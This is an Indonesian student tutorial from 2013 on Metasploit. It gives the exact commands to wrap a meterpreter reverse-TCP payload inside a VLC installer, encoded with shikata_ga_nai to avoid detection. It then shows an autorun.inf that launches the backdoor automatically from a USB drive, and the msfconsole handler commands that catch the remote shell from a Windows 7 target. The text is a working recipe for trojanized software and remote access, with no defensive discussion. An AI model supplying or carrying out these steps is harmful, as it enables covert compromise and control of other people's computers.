METASPLOIT

Oleh :
I Made Eka Mahendra 100010440
Kelas AG 101






SEKOLAH TINGGI MANAJEMEN INFORMATIKA DAN TEKNIK
KOMPUTER (STMIK)
STIKOM BALI
2013

Langkah-langkah melakukan metasploit
Dalam tutorial kali ini menggunakan Backtrack sebagai hackernya dan Windows 7 sebagai
targetnya. Dimana sistem operasi backtrack diinstall di Vmware.
Langkah pertama yang harus dilakukan adalah membuat file Backdoor di Backtrack, caranya
sebagai berikut:
1. Download terlebih dahulu aplikasi yang nantinya akan ditiru sebagai backdoor. Disini saya
menggunakan aplikasi vlc-1.1.11-win32. Setelah didownload letakkan aplikasi tersebut di
directory Root.
2. Selanjutnya buka terminal, kemudian ketikkan kode berikut :
msfpayload windows/meterpreter/reverse_tcp LHOST= ip backtrack LPORT= port
bebas R | msfencode -t exe -x /root/aplikasi/vlc-1.1.11-win32.exe -o vlc-1.1.11.exe -e
x86/shikata_ga_nai -c 3


3. Setelah proses encoder success maka akan tampil:

Dan hasil file tersebut ditempatkan directory root


4. Setelah file Backdoor selesai selanjutnya copy file tersebut ke PC target. Disini agar file
backdoor tersebut langsung berjalan di pc target maka disini akan dibuatkan autorunnya.
Membuat autorun aplikasi di flashdisk :
- Buka notepad, lalu ketikkan kode berikut:

[autorun]
;Open=File.exe
ShellExecute=File.exe
UseAutoPlay=1

File.exe adalah nama file yang akan dibuat autoplay.
- Simpan file tersebut ke flashdisk dengan nama autorun.inf.

5. Pastikan IP Backtrack dengan IP Target dalam 1 jaringan dan ping apakah reply atau
timeout. Bisa juga memanfaatkan fitur nmap vvv o [rentang ip yang akan di scann]
untuk melihat host yang aktif pada rentang jaringan tersebut.

6. Selanjutnya kita monitoring dengan mengetikkan kode berikut bertahap:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST (ip hackerrr)
set LPORT (port bacdor tadi)
exploit

7. Masukkan file backdoor ke windows, setelah file tersebut berjalan maka di terminal akan
tampil sebagai berikut:


Ketik shell maka:


Setelah masuk kita bisa lanjutkan ke tahap selanjutnya. Tutorial kali ini hanya membahas
sampai pada file tersebut masuk di PC target dan dapat di handler di PC Hacker.